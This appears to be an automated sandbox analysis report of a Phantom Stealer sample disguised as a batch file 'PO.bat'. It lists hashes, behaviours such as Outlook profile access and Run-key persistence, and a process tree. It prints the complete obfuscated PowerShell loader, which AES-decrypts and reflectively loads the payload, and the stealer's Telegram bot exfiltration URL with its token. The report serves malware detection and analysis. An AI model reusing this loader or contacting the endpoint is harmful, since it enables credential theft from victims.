phantom_stealer | 1bd2d16f960f1f00108a70d0ab4f70e63294a3f0735aa1354259ce80527748ea

Analysis

max time kernel
149s
max time network
131s
platform
windows10-2004_x64
resource
win10v2004-20260130-en
resource tags

arch:x64arch:x86image:win10v2004-20260130-enlocale:en-usos:windows10-2004-x64systemwindows
submitted
11/05/2026, 14:28

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
PO.bat
Size 770KB
Sample260511-rs2wpafx7m
SHA256 1bd2d16f960f1f00108a70d0ab4f70e63294a3f0735aa1354259ce80527748ea
MD5 d6d307304d54128d602a2197ebf971e3
SHA1 2e3666d8ffa10c67e470f8c0062e51fec6709b27
SHA512 ac7ad61cd4464f599c48460f5e3fcccc8e0dd6b8a1960ebf529a99f7b23927f68a0483eac28bceaca06ba6283a5aec6feac67a57853abe88c5abe73f2babcdef
SSDEEP 24576:FgpEcY6oleENsUSt2ZDqjWWg3sAo68ANW:+8PA0DqjJt
TLSH
T1A5F423924BCF4EBD24F7C82E7A17776DF3828BF18BB5D5E80685708E106D94EAD40905
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

collection discovery execution phantom_stealer persistence stealer

Malware Config

Extracted

Family

phantom_stealer

Version

v3.5.0

https://api.telegram.org/bot8525743193:AAFzcKe-c_Gl8aPJeRpTZX7VXqRcLiOSSPk/sendMessage?chat_id=7217111340

Mutex

OJ4LOG4CT9SG44FHNNJG

Attributes

anti_analysis
0
cb_enables_ssl
0
debug
1
keylogger
1
start_delay
0
startup
1

Signatures

Family: PhantomStealer
Phantom Stealer is a stealer written in C#, forked from the Stealerium family.
stealer phantom_stealer

Detects PhantomStealer written in C# 3 IoCs

resource	yara_rule
behavioral1/memory/4168-12-0x000001CA2E6F0000-0x000001CA2E7AE000-memory.dmp	family_phantomstealer
behavioral1/memory/1096-71-0x000002C3F59D0000-0x000002C3F5A8E000-memory.dmp	family_phantomstealer
behavioral1/memory/716-245-0x0000023CA4940000-0x0000023CA49FE000-memory.dmp	family_phantomstealer

Badlisted process makes network request 4 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
43	4168	powershell.exe
48	4168	powershell.exe
49	4168	powershell.exe
49	4168	powershell.exe

Executes dropped EXE 1 IoCs

pid	Process
1956	powershell.exe

Accesses Microsoft Outlook profiles 1 TTPs 3 IoCs

collection

Email Collection

T1114

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-643422742-1162610606-620613169-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	powershell.exe
Key opened	\REGISTRY\USER\S-1-5-21-643422742-1162610606-620613169-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	powershell.exe
Key opened	\REGISTRY\USER\S-1-5-21-643422742-1162610606-620613169-1000\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	powershell.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-643422742-1162610606-620613169-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\powershell = "C:\\Users\\Admin\\AppData\\Roaming\\powershell.exe"	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
4168	powershell.exe

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
47	icanhazip.com

System Time Discovery 1 TTPs 3 IoCs

Adversary may gather the system time and/or time zone settings from a local or remote system.

discovery

System Time Discovery

T1124

pid	Process
5552	chrome.exe
1072	msedge.exe
1124	chrome.exe

Checks processor information in registry 2 TTPs 6 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\Description\System\CentralProcessor\0	powershell.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier	powershell.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Signature	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Revision	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier	firefox.exe

Enumerates system info in registry 2 TTPs 9 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	msedge.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	chrome.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	chrome.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	msedge.exe

Suspicious behavior: EnumeratesProcesses 21 IoCs

pid	Process
4168	powershell.exe
4168	powershell.exe
1956	powershell.exe
1956	powershell.exe
4168	powershell.exe
4168	powershell.exe
1448	chrome.exe
1448	chrome.exe
4168	powershell.exe
4168	powershell.exe
4168	powershell.exe
4168	powershell.exe
4168	powershell.exe
4168	powershell.exe
4168	powershell.exe
4168	powershell.exe
4168	powershell.exe
4168	powershell.exe
4388	chrome.exe
4388	chrome.exe
4168	powershell.exe

Suspicious use of AdjustPrivilegeToken 6 IoCs

description	pid	Process
Token: SeDebugPrivilege	4168	powershell.exe
Token: SeDebugPrivilege	1956	powershell.exe
Token: SeShutdownPrivilege	1448	chrome.exe
Token: SeCreatePagefilePrivilege	1448	chrome.exe
Token: SeShutdownPrivilege	4388	chrome.exe
Token: SeCreatePagefilePrivilege	4388	chrome.exe

Suspicious use of FindShellTrayWindow 5 IoCs

pid	Process
1448	chrome.exe
1448	chrome.exe
4992	msedge.exe
4388	chrome.exe
4388	chrome.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
4168	powershell.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 4560 wrote to memory of 4168	4560	cmd.exe	86
PID 4168 wrote to memory of 1448	4168	powershell.exe	90
PID 1448 wrote to memory of 1096	1448	chrome.exe	91
PID 4168 wrote to memory of 1096	4168	powershell.exe	91
PID 4168 wrote to memory of 1096	4168	powershell.exe	91
PID 1448 wrote to memory of 5600	1448	chrome.exe	92
PID 1448 wrote to memory of 5552	1448	chrome.exe	93
PID 1448 wrote to memory of 5520	1448	chrome.exe	94
PID 1448 wrote to memory of 6136	1448	chrome.exe	96
PID 1448 wrote to memory of 6048	1448	chrome.exe	97
PID 1448 wrote to memory of 1912	1448	chrome.exe	98
PID 1448 wrote to memory of 628	1448	chrome.exe	99
PID 1448 wrote to memory of 5280	1448	chrome.exe	100
PID 1448 wrote to memory of 4724	1448	chrome.exe	101
PID 4168 wrote to memory of 4992	4168	powershell.exe	102
PID 4992 wrote to memory of 716	4992	msedge.exe	103
PID 4168 wrote to memory of 716	4168	powershell.exe	103
PID 4168 wrote to memory of 716	4168	powershell.exe	103
PID 4992 wrote to memory of 4960	4992	msedge.exe	104
PID 4992 wrote to memory of 1072	4992	msedge.exe	105
PID 4992 wrote to memory of 2644	4992	msedge.exe	106
PID 4992 wrote to memory of 5008	4992	msedge.exe	107
PID 4992 wrote to memory of 4900	4992	msedge.exe	108
PID 4992 wrote to memory of 4704	4992	msedge.exe	109
PID 4992 wrote to memory of 3672	4992	msedge.exe	110
PID 4992 wrote to memory of 3888	4992	msedge.exe	111
PID 4992 wrote to memory of 5844	4992	msedge.exe	112
PID 4992 wrote to memory of 4728	4992	msedge.exe	113
PID 4992 wrote to memory of 4740	4992	msedge.exe	114
PID 4992 wrote to memory of 4736	4992	msedge.exe	115
PID 4992 wrote to memory of 3324	4992	msedge.exe	116
PID 4992 wrote to memory of 4884	4992	msedge.exe	117
PID 4992 wrote to memory of 3724	4992	msedge.exe	118
PID 4992 wrote to memory of 5616	4992	msedge.exe	119
PID 4992 wrote to memory of 3644	4992	msedge.exe	120
PID 4992 wrote to memory of 2336	4992	msedge.exe	121
PID 4168 wrote to memory of 5648	4168	powershell.exe	123
PID 5648 wrote to memory of 4136	5648	firefox.exe	124
PID 5648 wrote to memory of 4136	5648	firefox.exe	124
PID 4168 wrote to memory of 4704	4168	powershell.exe	109
PID 4168 wrote to memory of 4704	4168	powershell.exe	109
PID 4168 wrote to memory of 4900	4168	powershell.exe	108
PID 4168 wrote to memory of 4900	4168	powershell.exe	108
PID 4168 wrote to memory of 4884	4168	powershell.exe	117
PID 4168 wrote to memory of 4884	4168	powershell.exe	117
PID 4168 wrote to memory of 4728	4168	powershell.exe	113
PID 4168 wrote to memory of 4728	4168	powershell.exe	113
PID 4168 wrote to memory of 5648	4168	powershell.exe	123
PID 4168 wrote to memory of 5648	4168	powershell.exe	123
PID 4168 wrote to memory of 4388	4168	powershell.exe	126
PID 4388 wrote to memory of 3684	4388	chrome.exe	127
PID 4388 wrote to memory of 5472	4388	chrome.exe	129
PID 4388 wrote to memory of 1124	4388	chrome.exe	130
PID 4388 wrote to memory of 1608	4388	chrome.exe	131
PID 4388 wrote to memory of 3964	4388	chrome.exe	132
PID 4388 wrote to memory of 3396	4388	chrome.exe	133
PID 4388 wrote to memory of 4224	4388	chrome.exe	134
PID 4388 wrote to memory of 5392	4388	chrome.exe	135
PID 4388 wrote to memory of 5864	4388	chrome.exe	136
PID 4388 wrote to memory of 4356	4388	chrome.exe	137
PID 4168 wrote to memory of 4704	4168	powershell.exe	109
PID 4168 wrote to memory of 4704	4168	powershell.exe	109
PID 4168 wrote to memory of 3684	4168	powershell.exe	127
PID 4168 wrote to memory of 3684	4168	powershell.exe	127

outlook_office_path 1 IoCs

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-643422742-1162610606-620613169-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	powershell.exe

outlook_win_path 1 IoCs

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-643422742-1162610606-620613169-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	powershell.exe

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\PO.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:4560
- C:\Windows\system32\windowspowershell\v1.0\powershell.exe
  "C:\Windows\system32\windowspowershell\v1.0\powershell.exe" -w h -NoP -EP bypass -Command "function JWhhF($HBguE){ $BuSjs=New-Object System.IO.MemoryStream(,$HBguE); $pKszH=New-Object System.IO.MemoryStream; $QVWHm=New-Object System.IO.Compression.GZipStream($BuSjs, [IO.Compression.CompressionMode]::Decompress); $QVWHm.CopyTo($pKszH); $QVWHm.Dispose(); $BuSjs.Dispose(); $pKszH.Dispose(); $pKszH.ToArray();}function rnxZy($HBguE){ $GFgyM=[System.Security.Cryptography.Aes]::Create(); $GFgyM.Mode=[System.Security.Cryptography.CipherMode]::CBC; $GFgyM.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $GFgyM.Key=[System.Convert]::FromBase64String('P3b8w+XWvlb+xnmKZ0IX5gpqxjenZMthhOwCNx7s0ms='); $GFgyM.IV=[System.Convert]::FromBase64String('+kCZYyNRLWxH/gHcfoZbiw=='); $TnlmJ=$GFgyM.CreateDecryptor(); $vVMRk=$TnlmJ.TransformFinalBlock($HBguE, 0, $HBguE.Length); $TnlmJ.Dispose(); $GFgyM.Dispose(); $vVMRk;}function HhXJC($HBguE,$WHFAZ){ $VeLPH=[System.Reflection.Assembly]::Load([byte[]]$HBguE); $QEYtP=$VeLPH.EntryPoint; $QEYtP.Invoke($null, $WHFAZ);}$yIFuK = 'C:\Users\Admin\AppData\Local\Temp\PO.bat';$host.UI.RawUI.WindowTitle = $yIFuK;$VZfyP=[System.IO.File]::ReadAllText($yIFuK).Split([Environment]::NewLine);foreach ($MYBKT in $VZfyP) { if ($MYBKT.StartsWith('gTUwHhAwMtNdExrcOdcv')) { $aQvps=$MYBKT.Substring(20); break; }}$HzcLp=[string[]]$aQvps.Split('\');$LSNXi=JWhhF (rnxZy ([Convert]::FromBase64String($HzcLp[0].Replace('#', '/').Replace('@', 'A'))));$zEXWX=JWhhF (rnxZy ([Convert]::FromBase64String($HzcLp[1].Replace('#', '/').Replace('@', 'A'))));HhXJC $LSNXi $null;HhXJC $zEXWX (,[string[]] (''));"
  2⤵
  - Badlisted process makes network request
  - Accesses Microsoft Outlook profiles
  - Adds Run key to start application
  - Command and Scripting Interpreter: PowerShell
  - Checks processor information in registry
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of SetWindowsHookEx
  - Suspicious use of WriteProcessMemory
  - outlook_office_path
  - outlook_win_path
  PID:4168
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --no-sandbox --allow-no-sandbox-job --disable-gpu --mute-audio --disable-audio --user-data-dir="C:\Users\Admin\AppData\Local\Temp\o4rvg4dn.ghn"
    3⤵
    - Enumerates system info in registry
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of FindShellTrayWindow
    - Suspicious use of WriteProcessMemory
    PID:1448
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler --user-data-dir=C:\Users\Admin\AppData\Local\Temp\o4rvg4dn.ghn /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler --database=C:\Users\Admin\AppData\Local\Temp\o4rvg4dn.ghn\Crashpad --metrics-dir=C:\Users\Admin\AppData\Local\Temp\o4rvg4dn.ghn --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=140.0.7339.81 --initial-client-data=0x100,0x104,0x108,0xdc,0x10c,0x7ffec191c728,0x7ffec191c734,0x7ffec191c740
      4⤵
      PID:1096
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Temp\o4rvg4dn.ghn" --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --use-gl=angle --use-angle=swiftshader-webgl --metrics-shmem-handle=1760,i,10262907955521000131,4313829539581609370,262144 --field-trial-handle=1924,i,17850764995618868408,17026123563890750200,262144 --variations-seed-version --mojo-platform-channel-handle=1920 /prefetch:2
      4⤵
      PID:5600
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-sandbox --mute-audio --user-data-dir="C:\Users\Admin\AppData\Local\Temp\o4rvg4dn.ghn" --force-high-res-timeticks=disabled --metrics-shmem-handle=1968,i,599210992836747721,3810729711352208592,524288 --field-trial-handle=1924,i,17850764995618868408,17026123563890750200,262144 --variations-seed-version --mojo-platform-channel-handle=1976 /prefetch:3
      4⤵
      System Time Discovery
      PID:5552
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --no-sandbox --mute-audio --user-data-dir="C:\Users\Admin\AppData\Local\Temp\o4rvg4dn.ghn" --force-high-res-timeticks=disabled --metrics-shmem-handle=2116,i,12337152298753918724,1990405658808953522,524288 --field-trial-handle=1924,i,17850764995618868408,17026123563890750200,262144 --variations-seed-version --mojo-platform-channel-handle=2128 /prefetch:8
      4⤵
      PID:5520
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Local\Temp\o4rvg4dn.ghn" --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --metrics-shmem-handle=2920,i,196503592160319203,14705374684017033020,2097152 --field-trial-handle=1924,i,17850764995618868408,17026123563890750200,262144 --variations-seed-version --mojo-platform-channel-handle=2932 /prefetch:1
      4⤵
      PID:6136
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Local\Temp\o4rvg4dn.ghn" --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --metrics-shmem-handle=2956,i,3754218830526217819,7527058107838842362,2097152 --field-trial-handle=1924,i,17850764995618868408,17026123563890750200,262144 --variations-seed-version --mojo-platform-channel-handle=2960 /prefetch:1
      4⤵
      PID:6048
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Local\Temp\o4rvg4dn.ghn" --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --metrics-shmem-handle=3180,i,12922956936939722961,7809558379701743506,2097152 --field-trial-handle=1924,i,17850764995618868408,17026123563890750200,262144 --variations-seed-version --mojo-platform-channel-handle=3188 /prefetch:1
      4⤵
      PID:1912
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Local\Temp\o4rvg4dn.ghn" --extension-process --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --metrics-shmem-handle=3224,i,9024543878188252416,18117435775329074964,2097152 --field-trial-handle=1924,i,17850764995618868408,17026123563890750200,262144 --variations-seed-version --mojo-platform-channel-handle=3216 /prefetch:2
      4⤵
      PID:628
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Local\Temp\o4rvg4dn.ghn" --extension-process --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=9 --metrics-shmem-handle=3840,i,17915732721719774751,3606587424807677572,2097152 --field-trial-handle=1924,i,17850764995618868408,17026123563890750200,262144 --variations-seed-version --mojo-platform-channel-handle=3844 /prefetch:2
      4⤵
      PID:5280
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Local\Temp\o4rvg4dn.ghn" --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=10 --metrics-shmem-handle=3900,i,3931476621802380380,6311887850037887551,2097152 --field-trial-handle=1924,i,17850764995618868408,17026123563890750200,262144 --variations-seed-version --mojo-platform-channel-handle=3924 /prefetch:1
      4⤵
      PID:4724
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --no-sandbox --allow-no-sandbox-job --disable-gpu --mute-audio --disable-audio --user-data-dir="C:\Users\Admin\AppData\Local\Temp\hola1dbv.dm5"
    3⤵
    - Enumerates system info in registry
    - Suspicious use of FindShellTrayWindow
    - Suspicious use of WriteProcessMemory
    PID:4992
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler --user-data-dir=C:\Users\Admin\AppData\Local\Temp\hola1dbv.dm5 /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler --database=C:\Users\Admin\AppData\Local\Temp\hola1dbv.dm5\Crashpad --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=139.0.7258.155 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 --annotation=prod=Edge --annotation=ver=139.0.3405.125 --initial-client-data=0x234,0x238,0x23c,0x230,0x244,0x7ffeae60c188,0x7ffeae60c194,0x7ffeae60c1a0
      4⤵
      PID:716
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Temp\hola1dbv.dm5" --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --use-gl=angle --use-angle=swiftshader-webgl --always-read-main-dll --metrics-shmem-handle=1652,i,8025811697818771002,3870453184781995113,262144 --field-trial-handle=2212,i,2063270823838780869,14875030654066067507,262144 --variations-seed-version --mojo-platform-channel-handle=2208 /prefetch:2
      4⤵
      PID:4960
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-sandbox --mute-audio --user-data-dir="C:\Users\Admin\AppData\Local\Temp\hola1dbv.dm5" --no-pre-read-main-dll --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=1760,i,17042349030946861481,10784268383883071099,524288 --field-trial-handle=2212,i,2063270823838780869,14875030654066067507,262144 --variations-seed-version --mojo-platform-channel-handle=2216 /prefetch:3
      4⤵
      System Time Discovery
      PID:1072
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --no-sandbox --mute-audio --user-data-dir="C:\Users\Admin\AppData\Local\Temp\hola1dbv.dm5" --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=2316,i,15410233701568108061,14726022732735287681,524288 --field-trial-handle=2212,i,2063270823838780869,14875030654066067507,262144 --variations-seed-version --mojo-platform-channel-handle=2536 /prefetch:8
      4⤵
      PID:2644
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Local\Temp\hola1dbv.dm5" --pdf-upsell-enabled --force-high-res-timeticks=disabled --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --always-read-main-dll --metrics-shmem-handle=3084,i,989214126254788993,13257573979485479726,2097152 --field-trial-handle=2212,i,2063270823838780869,14875030654066067507,262144 --variations-seed-version --mojo-platform-channel-handle=3092 /prefetch:1
      4⤵
      PID:5008
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Local\Temp\hola1dbv.dm5" --instant-process --pdf-upsell-enabled --force-high-res-timeticks=disabled --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --always-read-main-dll --metrics-shmem-handle=3096,i,4545968980014713058,5676234955126528959,2097152 --field-trial-handle=2212,i,2063270823838780869,14875030654066067507,262144 --variations-seed-version --mojo-platform-channel-handle=3104 /prefetch:1
      4⤵
      PID:4900
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --no-sandbox --mute-audio --message-loop-type-ui --user-data-dir="C:\Users\Admin\AppData\Local\Temp\hola1dbv.dm5" --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=3408,i,15869426174565404104,1277959277879000431,524288 --field-trial-handle=2212,i,2063270823838780869,14875030654066067507,262144 --variations-seed-version --mojo-platform-channel-handle=3516 /prefetch:8
      4⤵
      PID:4704
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --no-sandbox --mute-audio --message-loop-type-ui --user-data-dir="C:\Users\Admin\AppData\Local\Temp\hola1dbv.dm5" --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=3416,i,2025859014426294679,5654910342765864451,524288 --field-trial-handle=2212,i,2063270823838780869,14875030654066067507,262144 --variations-seed-version --mojo-platform-channel-handle=3600 /prefetch:8
      4⤵
      PID:3672
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --no-sandbox --mute-audio --message-loop-type-ui --user-data-dir="C:\Users\Admin\AppData\Local\Temp\hola1dbv.dm5" --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=3428,i,17188691351191284280,12248406705427511779,524288 --field-trial-handle=2212,i,2063270823838780869,14875030654066067507,262144 --variations-seed-version --mojo-platform-channel-handle=3608 /prefetch:8
      4⤵
      PID:3888
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Local\Temp\hola1dbv.dm5" --pdf-upsell-enabled --force-high-res-timeticks=disabled --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=10 --always-read-main-dll --metrics-shmem-handle=3548,i,3068640523583476145,3780302934877682976,2097152 --field-trial-handle=2212,i,2063270823838780869,14875030654066067507,262144 --variations-seed-version --mojo-platform-channel-handle=3652 /prefetch:1
      4⤵
      PID:5844
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Local\Temp\hola1dbv.dm5" --extension-process --renderer-sub-type=extension --pdf-upsell-enabled --force-high-res-timeticks=disabled --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=11 --always-read-main-dll --metrics-shmem-handle=3576,i,12084037688172192372,8769863947388292430,2097152 --field-trial-handle=2212,i,2063270823838780869,14875030654066067507,262144 --variations-seed-version --mojo-platform-channel-handle=3680 /prefetch:2
      4⤵
      PID:4728
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
